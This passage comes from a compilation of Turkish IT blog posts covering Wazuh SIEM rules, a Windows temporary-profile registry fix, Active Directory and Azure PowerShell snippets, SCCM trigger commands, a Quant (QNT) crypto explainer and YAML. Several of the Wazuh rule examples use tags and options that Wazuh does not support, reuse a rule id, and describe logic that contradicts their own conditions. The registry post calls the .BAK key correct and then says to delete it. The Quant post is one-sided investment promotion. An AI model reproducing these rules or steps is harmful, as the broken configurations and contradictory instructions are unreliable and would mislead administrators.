Aracıları yönetmek ve gerektiğinde uzaktan yapılandırmak için de kullanılır. Wazuh dashboard: Wazuh panosu, veri görselleştirme, analiz ve yönetim için web kullanıcı arayüzüdür.Mevzuat uyumluluğu, güvenlik açıkları, dosya bütünlüğü, yapılandırma değerlendirmesi, bulut altyapı olayları ve diğerleri için panolar içerir. Single universal agent: Wazuh ajanları dizüstü bilgisayarlar, masaüstü bilgisayarlar, sunucular, bulut örnekleri veya sanal makineler gibi uç noktalara kurulur. Tehdit önleme, algılama ve yanıt verme yetenekleri sağlarlar. Kurallar ÖRNEKLER: İmza Tabanlı Log Analizi Otomatik log analizi sistemlerinizdeki olası tehditlerin algılanmasını hızlandırır. Altyapınızda bulunan sistemlerin, cihazların ve uygulamaların loglarında bir saldırının kanıtının bulunabileceği muhtemel durumlar vardır. Wazuh, log verilerini otomatik olarak toplayabilmek ve analiz edebilmek için kullanılabilir. Mesela burada Wazuh agentı yüklenmiş ve çalışan bir sistemin işletim sistemi logları okunmaktadır ve bu loglar analiz edilmek üzere Wazuh sunucusuna yönlendirilir. Agent kullanmanın haricinde, sunucular üzerinden doğrudan Syslog, JSON ve birçok formatta network üzerinden veri alabilmektedir. Wazuh, logların hangi uygulamadan geldiğini tespit edebilmek için decoderlar kullanmaktadır ve akabinde bu uygulamalara göre özel kurallar kullanarak verileri analiz eder. Şüpheli Giriş Denemesi tespit edebilmek için kullanılan kural örneği; Bu örnekte, kural belirli bir kullanıcı (johndoe) için oluşturulmuştur. Eğer bu kullanıcı 10 dakika içinde üç kez başarısız bir giriş denemesi yaparsa, bu kural tetiklenecektir. Kural, sadece hafta içi iş günleri ve normal çalışma saatleri dışında çalışır (8:00-18:00 arası). Kural, auth.log dosyasındaki belirli bir log türüne bağlıdır ve e-posta uyarıları için yapılandırılmamıştır. <rule id="100001" level="5"> <description>Suspicious Login Attempt Detected</description> <group>system,login,authentication_failed</group> <options>no_email_alert</options> <field name="log_name">auth.log</field> <field name="user">johndoe</field> <field name="timeframe">600</field> <field name="threshold">3</field> <condition> <or> <hour>0-8,18-23</hour> <dayofweek>1-5</dayofweek> </or> </condition> </rule> Wazuh antivirüs tespiti kuralı; Bu kural, Windows işletim sistemi üzerinde çalışan bir antivirüs programı tarafından tespit edilen bilinen bir kötü amaçlı yazılımı algılar. Kuralların yapısı XML formatındadır ve her kural, benzersiz bir kimlik numarası (id) ve bir açıklama içermelidir. Kuralın düzeyi (level), sıklığı (frequency) ve zaman aralığı (timeframe) gibi özellikleri de ayarlanabilir. Kural, "antivirus" ve "malware_detection" gruplarına aittir ve "no_full_log" seçeneği kullanılarak tam kayıt tutulması engellenir. Kurallar, farklı alanlardan gelen verileri (field) analiz eder ve belirli koşullar altında tetiklenir (condition). Bu örnekteki koşul, antivirüsün etkinleştirilmiş olması, güncel olmaması ve temizlenmemiş bir kötü amaçlı yazılım etkinliği tespit ettiği durumlarda tetiklenir. <rule id="100100" level="6" frequency="8" timeframe="60" xmlns="http://www.wazuh.com/schema/3.12/ruleset" > <description>Antivirus detection of known malware.</description> <group>antivirus, malware_detection</group> <options>no_full_log</options> <field name="win.antivirus" normalize="lowercase">.*</field> <field name="win.antivirus_status">.*</field> <field name="win.antivirus_event">.*</field> <condition> <and> <equals field="win.antivirus" value="enabled" /> <notequals field="win.antivirus_status" value="up-to-date" /> <notequals field="win.antivirus_event" value="clean" /> </and> </condition> </rule> SSH Kimlik doğrulaması hatası olaylarını tespit edebilmek için kullanılan kural örneği; <rule id="5716" level="5"> <if_sid>5700</if_sid> <match>^Failed|^error: PAM: Authentication</match> <description>SSHD authentication failed.</description> <group>authentication_failed,pci_dss_10.2.4,pci_dss_10.2.5,</group> </rule> Linux/Windows Komut Satırını Takip edebilmek için kullanılan kural örneği; Loglarda olmayan şeyleri izlemek isteyebileceğiniz zamanlar vardır. Wazuh, belirli komutlarınçıktısını izleme ve çıktıyı log dosyası içeriğiymiş gibi ele alma becerisine sahiptir. <localfile> <log_format>command</log_format> <command>df -P</command> </localfile> <rule id="531" level="7" ignore="7200"> <if_sid>530</if_sid> <match>ossec: output: 'df -P': /dev/</match> <regex>100%</regex> <description>Partition usage reached 100% (disk space monitor).</description> <group>low_diskspace,pci_dss_10.6.1,</group> </rule> Aşağıdaki özellikler bu modül ile birlikte kullanılabilmektedir:● Windows processlerini izleme● Disk alanı kullanımı● Output Değişikliği● Load average● USB Cihazları Algılama Rootkit Tespit edebilmek için kullanılan kural örneği; Wazuh agentları, hem kernel hem de kullanıcı düzeyinde rootkitleri tespit etmek için yüklüolduğu sistemi periyodik olarak taramaktadır. Bu tür zararlı yazılımlar genellikle sistemindavranışlarını değiştirmek için mevcut işletim sistemi bileşenlerinin yerine geçmektedir.Wazuh, sistem anormalliklerini veya iyi bilinen saldırıları aramak için farklı tespitmekanizmaları kullanır. Bu, Rootcheck modülü tarafından periyodik olarakgerçekleştirilmektedir.Aşağıda gizli bir "process" bulunduğunda oluşturulan bir alarm bulunmaktadır. Etkilenensistem Linux kernel düzeyinde bir rootkit (Diamorphine) çalıştırılmıştır. { "agent": { "id": "1030", "ip": "10.0.0.59", "name": "diamorphine-POC" }, "decoder": { "name": "rootcheck" }, "full_log": "Process '562' hidden from /proc. Possible kernel level rootkit.", "location": "rootcheck", "manager": { "name": "vpc-ossec-manager" }, "rule": { "description": "Host-based anomaly detection event (rootcheck).", "firedtimes": 4, "groups": [ "ossec", "rootcheck" ], "id": "510", "level": 7 }, "timestamp": "2017-03-05T15:13:04-0800", "title": "Process '562' hidden from /proc." } Wazuh DDOS saldırı tespiti kural örneği; DDOS saldırıları, genellikle birçok farklı kaynak IP adresinden gerçekleştirilir. Bu nedenle, Wazuh'un DDOS saldırılarını tespit etmek için kullanabileceği bir kural, bir kaynak IP adresinin belirli bir süre içinde çok sayıda bağlantı girişimi yapmasıdır. Bu tür bir saldırı, genellikle "SYN Flood" saldırısı olarak adlandırılır. Aşağıda bir örnek Wazuh kuralı verilmiştir, bu kural bir IP adresinden 30 saniye içinde 10'dan fazla SYN bağlantı girişimi yapılırsa bir alarm tetikleyecektir. Ancak, DDOS saldırıları genellikle çok sayıda farklı IP adresinden gerçekleştirildiği için, tek bir kural yeterli olmayabilir. Bu nedenle, farklı IP adreslerinden gelen SYN paketlerini izlemek için farklı kural setleri kullanılması önerilir. <rule id="100100" level="10"> <if_sid>110002</if_sid> <match>srcip</match> <relation>eq</relation> <value>IP_ADRESI</value> <check_diff>30</check_diff> <check_diff_count>10</check_diff_count> <description>Too many SYN packets from IP_ADRESI in 30 seconds</description> <group>ddos</group> </rule> ***Wazuh Kullanım Amacı tomatik log analizi sistemlerinizdeki olası tehditlerin algılanmasını hızlandırır. Altyapınızda bulunan sistemlerin, cihazların ve uygulamaların loglarında bir saldırının kanıtının bulunabileceği muhtemel durumlar vardır. Wazuh, log verilerini otomatik olarak toplayabilmek ve analiz edebilmek için kullanılabilir. Mesela burada Wazuh agentı yüklenmiş ve çalışan bir sistemin işletim sistemi logları okunmaktadır ve bu loglar analiz edilmek üzere Wazuh sunucusuna yönlendirilir. Agent kullanmanın haricinde, sunucular üzerinden doğrudan Syslog, JSON ve birçok formatta network üzerinden veri alabilmektedir. Wazuh, logların hangi uygulamadan geldiğini tespit edebilmek için decoderlar kullanmaktadır ve akabinde bu uygulamalara göre özel kurallar kullanarak verileri analiz eder. Kurallar, kuralın aranacağı paterni tanımlayabilmek için kullanılan bir eşleşme alanını içerisinde barındırır. Log içerisinde geçen tanımlamalar bu alanda oluşturulur ve alarmın hangi level'da (seviyede) olacağını belirtenbir level (Seviye) alanı bulunmaktadır. Wazuh sunucusu, agentlardan birisi ya da syslog tarafından toplanan bir log içerisindesıfırdan daha yüksek bir seviyeye sahip bir kuralla her eşleştiğinde alarm üretecektir.  Wazuh Quickstart & Installation guide: https://wazuh.com/install/ Virtual Machine (OVA) Download Link: https://documentation.wazuh.com/current/deployment-options/virtual-machine/virtual-machine.html Saygılarımla – Best Regards. --- ## Oturumunuz Gecici Profille Acildi Hatasi Link: https://farukguler.com/posts/oturumunuz-gecici-profille-acildi/ Bu işlem genelde “Kullanıcı profili yüklenemedi / Temporary profile ile oturum açıldı” gibi hataları düzeltmek içindir. Sorun, kayıt defterinde ProfileList altında kullanıcıya ait SID anahtarının yanına .BAK uzantılı bir kopya oluşmasıdır. Doğru olan kayıt .BAK’li olandır; Windows bazen yanlış olanı yüklemeye çalışır. Aşağıda hem güvenli hazırlıklar hem de önerilen onarım yöntemi (Microsoft’un klasik yaklaşımı) var. En sonda, yalnızca .BAK anahtarını silmeyi içeren “hızlı yöntem”in artı-eksi yönlerini da belirttim. Nasıl Düzeltilebilir? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 -1 Kayıt defteri dizinine git: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList -2 Sol bölmede, S-1-5 (SID anahtarı) ile başlayan ve onu uzun bir sayının izlediği klasör adını arayın. -3 Sonu.BAK olan dizini bulup Ayarları ver - Export diyerek registery ayarlarını masaüstüne yedekleyin.****** önemli -4 Yedek aldıktan sonra sonu .BAK olan dizini silin -5 Bilgisayarı yeniden başlatın. 1- Go to Regedit directory: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList -2 In the left pane, look for the folder name that starts with S-1-5 (SID key) followed by a long number. -3 Find the directory with .BAK at the end and click Export Settings - Export to back up the registery settings to the desktop.****** important -4 Delete directory with .BAK after backup -5 Restart your computer. Saygılarımla. – Best regards. --- ## Get Sub OU All User Numbers Link: https://farukguler.com/posts/Get-Sub-OU-All-User-Numbers/ # Import-Module ActiveDirectory# Target OU.$ou = "OU=Personel,DC=ankara,DC=edu,DC=tr"# OU check.try { $ouExists = Get-ADOrganizationalUnit -Identity $ou -ErrorAction Stop Write-Host "OU bulundu: $ou"} catch { Write-Host "HATA: Belirtilen OU bulunamadı. Lütfen OU yapısını kontrol edin." exit}# Get all OU userstry { $users = Get-ADUser -Filter * -SearchBase $ou if ($users.Count -eq 0) { Write-Host "HATA: Bu OU altında hiç kullanıcı bulunamadı." exit }} catch { Write-Host "HATA: Kullanıcıları çekerken bir sorun oluştu." exit}# User size.$totalUsers = $users.Count# Enabled (Etkin) ve Disabled (Devre Dışı) kullanıcı sayılarını hesapla$enabledUsers = ($users | Where-Object { $_.Enabled -eq $true }).Count$disabledUsers = ($users | Where-Object { $_.Enabled -eq $false }).Count# Print data.Write-Host "Toplam Kullanıcı Sayısı: $totalUsers"Write-Host "Enabled (Etkin) Kullanıcı Sayısı: $enabledUsers"Write-Host "Disabled (Devre Dışı) Kullanıcı Sayısı: $disabledUsers" --- ## What is Azure Bastion? - Azure Bastion Nedir? Link: https://farukguler.com/posts/azure-bastion/ "Bastion" dilimizde korunan yer, güvenli alan, kale gibi korunaklı anlamlara gelmektedir. Azure Bastion, Azure Portal üzerinden uzak masaüstü erişimi sağlayan bir hizmettir. Bu hizmet sayesinde, sanal makinelerinize RDP veya SSH protokolleri aracılığıyla erişebilirsiniz, ancak önceden yapılandırılmış bir sanal ağda (Virtual Network) açık bir IP adresi gerektirmeden ve Azure Active Directory kimlik doğrulamasını kullanarak. Azure Bastion, sanal makinelerinizin yönetimine daha güvenli bir erişim sağlamak için tasarlanmıştır. Bu hizmet, sanal makinelerinize doğrudan erişmek için kullanabileceğiniz tek bir noktadır ve kullanıcıların sanal ağ kaynaklarını doğrudan internet üzerinden erişmeleri gerekmeyerek güvenlik risklerini en aza indirir. Azure Bastion, sanal ağınızdaki sanal makinelerin yönetimi için ihtiyacınız olan güvenli, sezgisel ve kullanımı kolay bir arayüz sağlar. Ayrıca, Azure Portal üzerinden tek bir tıklamayla Azure Bastion'u yapılandırabilirsiniz. Bastion temel özellikleri nelerdir: Azure Basiton servisine HTML5 desteği olan tüm tarayıcılar tarafından erişim sağlanabilir. Sanal makinenizde bir aracı veya tarayıcınızda ek yazılım gerekmeden destekler. SSL(443) üzerinden erişim ile güvenlik duvarlarında bir kural yazmanıza  gerek yoktur. Sanal makineden dünyaya açılan Public IP adresi zorunluluğu yoktur, sanal makinalarınıza Private IP kullanarak RDP/SSH bağlantısını açar. Eğer bir Ağ Güvenlik Grubu’nuz varsa sadece HTTPS ’e izin vermeniz yeterlidir. Azure Bastion bir PaaS hizmeti olarak sunulur. Gelecekte karşılaşılabilecek Zero-day ataklara karşı Microsoft koruma garantisi içerir. Güvenli Erişim: Azure Bastion, internet üzerinden sanal makinelerinize güvenli bir şekilde erişmenizi sağlar. Bu, sanal makinelerinizi herhangi bir VPN veya RDP istemcisine ihtiyaç duymadan yönetmenizi sağlar. Tamamen Yönetilen: Azure Bastion, tamamen yönetilen bir hizmettir, bu nedenle altyapı yönetimi, yükseltme ve güncelleme gibi tüm sorumluluklar Microsoft tarafından yönetilir. Dahili Ağa Erişim: Azure Bastion, bir sanal ağa bağlanmanızı sağlar. Bu, sanal ağınızda bulunan tüm kaynaklara erişmenizi sağlar ve böylece daha güvenli bir şekilde çalışabilirsiniz. Doğrudan Bağlantı: Azure Bastion, doğrudan bağlantı sağlar. Bu, sanal makinelerinize erişirken ek bir ağ geçidi veya yönlendirici kullanmanızı gerektirmez. Çoklu Oturumlar: Azure Bastion, aynı anda birden fazla kullanıcıya izin verir. Bu, ekip üyelerinin birbirleriyle kolayca işbirliği yapmasını sağlar. Loglar: Azure Bastion, günlük kayıtları izler ve raporlar. Bu, sanal makinenizdeki işlemleri takip etmenizi ve potansiyel güvenlik sorunlarını belirlemenizi sağlar. Bastion hangi bölgelerde destekleniyor ? Şimdilik:  Batı ABD - West USA Doğu ABD - East USA, Batı Avrupa - West Europe Orta Güney ABD - Central South USA Doğu Avustralya - East Australia Doğu Japonya - East Japan bölgelerinde destekleniyor. Powershell veya Manuel olarak Azure Bastion kurulum ve yapılandırmasını yapabilirsiniz. Saygılarımla – Best Regards. --- ## Connecting to Azure Portal with PowerShell Link: https://farukguler.com/posts/connecting-to-azure-portal/ Windows OS üzerinden Azure modullerini yükleyerek Azure portalınızı Azure Cloud Shell düzeyinde Powershell ile yönetebilirsiniz. Azure PowerShell modülünün yüklemek için aşağıdaki komutu kullanabilirsiniz. if (Get-Module -Name AzureRM -ListAvailable) { Write-Warning -Message 'Az module not installed. Having both the AzureRM and Az modules installed at the same time is not supported.' } else { Install-Module -Name Az -AllowClobber -Scope CurrentUser } Modül yükleme işlemi sırasında gelen soruları [Y] Yes ve [A] All şeklinde yanıt vererek devam edebilirsiniz. Daha sonra ise PowerShell ile Azure hesabınızın bağlantısı icin "Connect-AzAccount" komutunu kullanmanız gerekir. Bu size Azure Logon sayfası popup kısmını açacaktır. Bağlantı tamamlandığında aşağıdaki şekilde örnek komut çıktısını göreceksiniz. Şuan Azure Portal hesabınız Powershell üzerindesiniz. PS C:\Users\Administrator> Connect-AzAccount Account SubscriptionName TenantId Environment ------- ---------------- -------- ------- farukguler@xmail.com Microsoft Azure Sponsorship 4544886484542599004 AzureCloud PS C:\Users\Administrator> Azure hesabınızla oturum açtıktan sonra, aşağıdaki komutu çalıştırarak aboneliklerinizi listeleyin. Bu komut size hesabınıza bağlı olan tüm abonelikleri gösterir. Get-AzSubscription Hangi aboneliğe bağlanmak istediğinize karar verin ve aşağıdaki komutu kullanarak bağlanın. Burada <subscription-id> yerine bağlanmak istediğiniz aboneliğin kimlik bilgilerini girin. Set-AzContext -SubscriptionId <subscription-id> Aşağıdaki komutla mevcut tüm sanal makineleri listeleyebilirsiniz. Get-AzVM Saygılarımla – Best Regards. --- ## Triggering Client Scan Configuration Manager Link: https://farukguler.com/posts/configuration-manager-wmi-powershell/ Bazı durumlarda hızlı sonuçlar almak için Microsoft Endpoint Configuration Manager (MECM) ***eski adıyla (SCCM) Client Action bölümünde bulunan başlıkları elle ya da bir script üzerinden tetiklemeniz gerekir. Ayrıca bunu clientleriniz üzerinde Task Scheduler veya GPO oluşturarak Otomatize edebilirsiniz.Aşağıdaki tablolarda Powershell ve WMI üzerinden bazı tetikleme komutlarını bulabilirsiniz. Daha fazlası için: https://learn.microsoft.com/en-us/mem/configmgr Powershell Command: Client AgentPowershell CommandApplication Deployment Evaluation CycleInvoke-WMIMethod -ComputerName $Server -Namespace root\ccm -Class SMS_CLIENT -Name TriggerSchedule “{00000000-0000-0000-0000-000000000121}”Discovery Data Collection CycleInvoke-WMIMethod -ComputerName $Server -Namespace root\ccm -Class SMS_CLIENT -Name TriggerSchedule “{00000000-0000-0000-0000-000000000003}”File Collection CycleInvoke-WMIMethod -ComputerName $Server -Namespace root\ccm -Class SMS_CLIENT -Name TriggerSchedule “{00000000-0000-0000-0000-000000000010}”Hardware Inventory CycleInvoke-WMIMethod -ComputerName $Server -Namespace root\ccm -Class SMS_CLIENT -Name TriggerSchedule “{00000000-0000-0000-0000-000000000001}”Machine Policy Retrieval CycleInvoke-WMIMethod -ComputerName $Server -Namespace root\ccm -Class SMS_CLIENT -Name TriggerSchedule “{00000000-0000-0000-0000-000000000021}”Machine Policy Evaluation CycleInvoke-WMIMethod -ComputerName $Server -Namespace root\ccm -Class SMS_CLIENT -Name TriggerSchedule “{00000000-0000-0000-0000-000000000022}”Software Inventory CycleInvoke-WMIMethod -ComputerName $Server -Namespace root\ccm -Class SMS_CLIENT -Name TriggerSchedule “{00000000-0000-0000-0000-000000000002}”Software Metering Usage Report CycleInvoke-WMIMethod -ComputerName $Server -Namespace root\ccm -Class SMS_CLIENT -Name TriggerSchedule “{00000000-0000-0000-0000-000000000031}”Software Update Deployment Evaluation CycleInvoke-WMIMethod -ComputerName $Server -Namespace root\ccm -Class SMS_CLIENT -Name TriggerSchedule “{00000000-0000-0000-0000-000000000114}”Software Update Scan CycleInvoke-WMIMethod -ComputerName $Server -Namespace root\ccm -Class SMS_CLIENT -Name TriggerSchedule “{00000000-0000-0000-0000-000000000113}State Message RefreshInvoke-WMIMethod -ComputerName $Server -Namespace root\ccm -Class SMS_CLIENT -Name TriggerSchedule “{00000000-0000-0000-0000-000000000111}”User Policy Retrieval CycleInvoke-WMIMethod -ComputerName $Server -Namespace root\ccm -Class SMS_CLIENT -Name TriggerSchedule “{00000000-0000-0000-0000-000000000026}”User Policy Evaluation CycleInvoke-WMIMethod -ComputerName $Server -Namespace root\ccm -Class SMS_CLIENT -Name TriggerSchedule “{00000000-0000-0000-0000-000000000027}”Windows Installers Source List Update CycleInvoke-WMIMethod -ComputerName $Server -Namespace root\ccm -Class SMS_CLIENT -Name TriggerSchedule “{00000000-0000-0000-0000-000000000032}” WMI Command: Client AgentWMI CommandApplication Deployment Evaluation CycleWMIC /namespace:\\root\ccm path sms_client CALL TriggerSchedule “{00000000-0000-0000-0000-000000000121}” /NOINTERACTIVEDiscovery Data Collection CycleWMIC /namespace:\\root\ccm path sms_client CALL TriggerSchedule “{00000000-0000-0000-0000-000000000003}” /NOINTERACTIVEFile Collection CycleWMIC /namespace:\\root\ccm path sms_client CALL TriggerSchedule “{00000000-0000-0000-0000-000000000010}” /NOINTERACTIVEHardware Inventory CycleWMIC /namespace:\\root\ccm path sms_client CALL TriggerSchedule “{00000000-0000-0000-0000-000000000001}” /NOINTERACTIVE Silmek için:WMIC /namespace:\\root\ccm\invagt path inventoryActionStatus where InventoryActionID=”{00000000-0000-0000-0000-000000000001}” DELETE /NOINTERACTIVEMachine Policy Retrieval CycleWMIC /namespace:\\root\ccm path sms_client CALL TriggerSchedule “{00000000-0000-0000-0000-000000000021}” /NOINTERACTIVEMachine Policy Evaluation CycleWMIC /namespace:\\root\ccm path sms_client CALL TriggerSchedule “{00000000-0000-0000-0000-000000000022}” /NOINTERACTIVESoftware Inventory CycleWMIC /namespace:\\root\ccm path sms_client CALL TriggerSchedule “{00000000-0000-0000-0000-000000000002}” /NOINTERACTIVESoftware Metering Usage Report CycleWMIC /namespace:\\root\ccm path sms_client CALL TriggerSchedule “{00000000-0000-0000-0000-000000000031}” /NOINTERACTIVESoftware Updates Assignments Evaluation CycleWMIC /namespace:\\root\ccm path sms_client CALL TriggerSchedule “{00000000-0000-0000-0000-000000000108}” /NOINTERACTIVESoftware Update Scan CycleWMIC /namespace:\\root\ccm path sms_client CALL TriggerSchedule “{00000000-0000-0000-0000-000000000113}” /NOINTERACTIVEState Message RefreshWMIC /namespace:\\root\ccm path sms_client CALL TriggerSchedule “{00000000-0000-0000-0000-000000000111}” /NOINTERACTIVEUser Policy Retrieval CycleWMIC /namespace:\\root\ccm path sms_client CALL TriggerSchedule “{00000000-0000-0000-0000-000000000026}” /NOINTERACTIVEUser Policy Evaluation CycleWMIC /namespace:\\root\ccm path sms_client CALL TriggerSchedule “{00000000-0000-0000-0000-000000000027}” /NOINTERACTIVEWindows Installers Source List Update CycleWMIC /namespace:\\root\ccm path sms_client CALL TriggerSchedule “{00000000-0000-0000-0000-000000000032}” /NOINTERACTIVE --- ## Quant (QNT) Nedir? Blockchain'lerin İşletim Sistemi Overledger Link: https://farukguler.com/posts/quant-qnt-nedir/ Quant (QNT), kripto para piyasasındaki projelerin %99’undan farklı bir kulvarda yer alır. O, yeni bir “daha hızlı” blockchain, bir DeFi platformu veya bir meme coin değildir. Quant, “Overledger” adını verdiği, dünyanın ilk blockchain işletim sistemi (OS) olarak tasarlanmış, patentli bir teknolojidir. Basitçe söylemek gerekirse, Quant’ın amacı tek bir blockchain’i daha iyi yapmak değil; tüm blockchain’leri (ve hatta blockchain olmayan eski sistemleri) birbirine bağlayan evrensel bir “aracı katman” olmaktır. QNT, bu işletim sistemine erişmek, onu kullanmak ve güvence altına almak için gereken lisanslama token’ıdır. Quant’ın misyonu, kripto endstrisindeki en karmaşık ve en değerli sorunlardan biri olan “Gerçek Interoperability (Birlikte Çalışabilirlik) Problemini” kurumsal düzeyde çözmektir. “Interoperability (Birlikte Çalışabilirlik) Problemi” Nedir? Blockchain’ler, doğaları gereği “silo” (izole) yapılar halinde çalışırlar. Bitcoin ağı, Ethereum ağında ne olduğunu bilemez. Ethereum’daki bir akıllı sözleşme, Ripple (XRP) Ledger’daki bir hesaba doğrudan emir veremez. Daha da önemlisi; bir bankanın kendi özel (private) Hyperledger blockchain’i, halka açık (public) Ethereum ağı ile güvenli bir şekilde iletişim kuramaz. Bu “iletişimsizlik”, blockchain teknolojisinin kurumsal dünyada (bankacılık, tedarik zinciri, sağlık) tam potansiyeliyle kullanılmasının önündeki en büyük engeldir. Şirketler, tek bir zincire “kilitli” kalmak istemezler. Quant’in Çözümü: Overledger OS (İşletim Sistemi) Diğer projeler bu sorunu “köprüler” (bridges) veya “Layer 0” protokolleri (Polkadot, Cosmos) ile çözmeye çalışırken, Quant tamamen farklı bir yaklaşım benimser: Abstraction (Soyutlama) Katmanı. Quant’ın Overledger teknolojisi, herhangi bir blockchain’in üzerinde oturan bir işletim sistemi gibi çalışır. Tıpkı Windows’un bilgisayarınızdaki donanımları (klavye, ekran kartı, yazıcı) sizin adınıza yönetmesi ve hepsinin “aynı dili” konuşmasını sağlaması gibi… Overledger da tüm farklı blockchain’leri (Bitcoin, Ethereum, Solana, özel banka zincirleri…) ve hatta eski bankacılık API’lerini (örn. SWIFT) yönetir. Bu sayede, bir geliştirici veya şirket, Overledger’ı kullanarak “mApps” (Multi-chain Applications - Çok Zincirli Uygulamalar) oluşturabilir. Örnek bir mApp: Bir müşteriden Bitcoin (BTC) ile ödeme al. Bu ödeme onaylandığında, Ethereum (ETH) ağı üzerinde bir akıllı sözleşmeyi tetikle (örn. bir NFT mint et). Bu işlemin kaydını, şirketin özel Hyperledger (Private Chain) ağına değişmez bir şekilde yaz. Bir geliştirici, tüm bu farklı zincirlerin kodunu ayrı ayrı öğrenmek zorunda kalmadan, Overledger OS üzerinden sadece birkaç satır komutla bu akışı oluşturabilir. Quant’in Ayırt Edici Özellikleri Kurucu ve Ekip (Güvenilirlik): Quant’in kurucusu Gilbert Verdian, projenin en güçlü “gerçekliğidir”. Verdian, siber güvenlik ve kurumsal teknoloji alanında ultra-seviye bir kariyere sahiptir (İngiltere Hazinesi, Bank of England, Mastercard, HSBC). En önemlisi, blockchain teknolojileri için küresel ISO TC/307 standardını oluşturan ekibin kurucu başkanıdır. Bu, Quant’in “kuralları yazan” bir konumda olduğunu gösterir. Kurumsal ve Devlet Odaklı (B2B/B2G): Quant, perakende yatırımcıya veya DeFi kullanıcılarına değil, bankalara, finans kurumlarına, sağlık hizmetlerine ve devletlere odaklanmıştır. Müşterileri, blockchain’i gerçek iş süreçlerine entegre etmek isteyen devasa kurumlardır. Patentli Teknoloji: Overledger, ABD ve Avrupa’da patentlenmiş bir teknolojidir. Bu, kripto dünyasında “merkeziyetsizlik” felsefesine aykırı gibi görünse de, kurumsal dünyada rakiplere karşı devasa bir “rekabet avantajı” (moat) sağlar. Köprü (Bridge) Değildir: Overledger, varlıkları “wrap” (sarma) etmez veya bir zincirden diğerine taşımaz. Bu, köprü hack’lenmesi riskini ortadan kaldırır. Overledger, zincirlere sadece “emir veren” bir orkestra şefidir; işlemleri kendi zincirleri üzerinde, kendi yerel varlıklarıyla yapar. QNT Token’ı Ne İşe Yarar? (Kritik ve Eşsiz Tokenomi) QNT’nin token ekonomisi, piyasadaki neredeyse tüm diğer coin’lerden farklıdır ve başarısının anahtarıdır. QNT bir “gas token” (işlem ücreti) değildir. QNT, Overledger ağına erişim sağlayan bir lisans anahtarıdır. Maksimum Arz: Sadece ~14.88 Milyon QNT. Enflasyonist değildir, yeni QNT üretilmez. İşte sistemin çalışma şekli: Talep: Bir şirket, banka veya geliştirici Overledger’ı kullanmak istediğinde, yıllık bir lisans (license) satın almak zorundadır. Ödeme (Fiat): Şirketler bu lisans ücretini Quant şirketine fiat para (örn. 1 Milyon Dolar) ile öderler. (Kripto ile uğraşmak zorunda kalmazlar). KİLİTLEME (QNT): Quant şirketi, aldığı bu 1 Milyon Dolar’ın karşılığı olan QNT token’ını piyasadan veya hazinesinden alır ve lisans süresi boyunca (örn. 12 ay) bir akıllı sözleşmede kilitler (stake eder). Etki (Arz Şoku): Lisans süresi bittiğinde token’lar serbest kalır, ancak şirket lisansı yenilerse (ki bu beklenir), token’lar kilitli kalmaya devam eder. Sonuç: Overledger ağı ne kadar çok benimsenirse (ne kadar çok banka, şirket ve devlet müşteri olursa), dolaşımdaki QNT arzı o kadar azalır ve kilitlenir. Bu, toplam arzı zaten aşırı düşük olan bir varlık üzerinde muazzam bir deflasyonist baskı yaratır. Son olarak: Neden “Gerçek” Bir Proje? Quant (QNT), kısa vadeli “hype” veya perakende trendleri ile ilgilenmez. Projenin tüm odağı, blockchain devriminin “sıkıcı” ama en kârlı olabilecek kısmıdır: Kurumsal Entegrasyon. Quant, “blockchain’lerin Microsoft’u (Windows)” veya “internetin TCP/IP’si” (farklı ağları konuşturan protokol) olmayı hedefleyen, son derece ciddi, profesyonel ve stratejik bir projedir. Başarısı, spekülasyona değil, Gilbert Verdian ve ekibinin Overledger OS için kaç adet kurumsal müşteri (banka, devlet) imzalayacağına doğrudan bağlıdır. Bu, onu kripto dünyasındaki en “gerçek dünya” odaklı projelerden biri yapmaktadır. --- ## YAML Nedir? - What is YAML? Link: https://farukguler.com/posts/yaml-nedir/ YAML (YAML Ain't Markup Language), insanların okumak ve yazmak için tasarlanmış bir veri serileştirme formatıdır. YAML, JSON'a benzer bir sözdizimine sahiptir ve sıklıkla yapılandırma dosyaları, veritabanı kayıtları, API istekleri ve diğer veri dosyaları gibi yapısal verilerin depolanması için kullanılır. YAML, okunabilirliği artırmak için boşluklar, satır atlama ve düzenli bir yapı kullanır. Bu, YAML dosyalarının insanlar tarafından kolayca okunup anlaşılabilmesini sağlar. Ayrıca, YAML dosyaları genellikle diğer formatlara dönüştürülürken kolayca işlenebilir ve çevrilebilir. YAML dosyaları, YAML derleyicisi olarak bilinen bir araç kullanılarak oluşturulabilir veya herhangi bir metin düzenleyici veya IDE (Entegre Geliştirme Ortamı) ile de yazılabilir. YAML, birçok programlama dili tarafından desteklenmektedir ve özellikle Ruby, Python, PHP ve JavaScript gibi dillerde popülerdir. YAML vs XML vs JSON AML, XML ve JSON, farklı programlama dilleri, uygulamalar ve sistemler arasında veri depolama ve değiş tokuşu için yaygın olarak kullanılan veri serileştirme formatlarıdır. İşte üç format arasındaki farklılıklar: YAML (YAML Ain't Markup Language), insanlar tarafından kolayca okunup yazılması için tasarlanmış, okunabilir bir veri serileştirme formatıdır. Veri bloklarını ayırmak için boşluklara bağımlıdır ve yapılandırma dosyaları gibi metin tabanlı veriler için özellikle uygundur. YAML, web geliştirme ve DevOps iş akışlarında sunucuları yapılandırmak ve uygulamaları dağıtmak gibi görevler için sıklıkla kullanılır. XML (Extensible Markup Language), yapısal verileri depolamak için tasarlanmış bir metin tabanlı bir formattır. Özellikle belge işleme için kullanılır ve açık standartları nedeniyle web hizmetlerinde ve veri paylaşımında da yaygın olarak kullanılır. XML, ayrıca SOAP (Simple Object Access Protocol) gibi web hizmetleri için temel bir bileşen olabilir. JSON (JavaScript Object Notation), JavaScript dilindeki nesnelerin bir temsilidir ve modern web uygulamalarında yaygın olarak kullanılan bir veri serileştirme formatıdır. JSON, YAML ve XML'den daha hafif bir formattır ve genellikle API'lerde veri paylaşımı için kullanılır. JSON, diğer iki formata göre daha kolay okunabilir ve yazılabilir, ancak YAML kadar insan dostu değildir. Genel olarak, YAML, insanların kolayca okuyup yazabilmesi için tasarlanmış bir formattır. XML, yapısal veriler için idealdir ve web hizmetleri için standart bir formattır. JSON, modern web uygulamaları için hafif ve kullanımı kolay bir formattır. Örneğin; Aşağıda her bir format için bir örnek verilmiştir: 1-XML Örneği: <book> <title>The Hitchhiker's Guide to the Galaxy</title> <author>Ahmet DEMIR</author> <publisher>Pan Books</publisher> 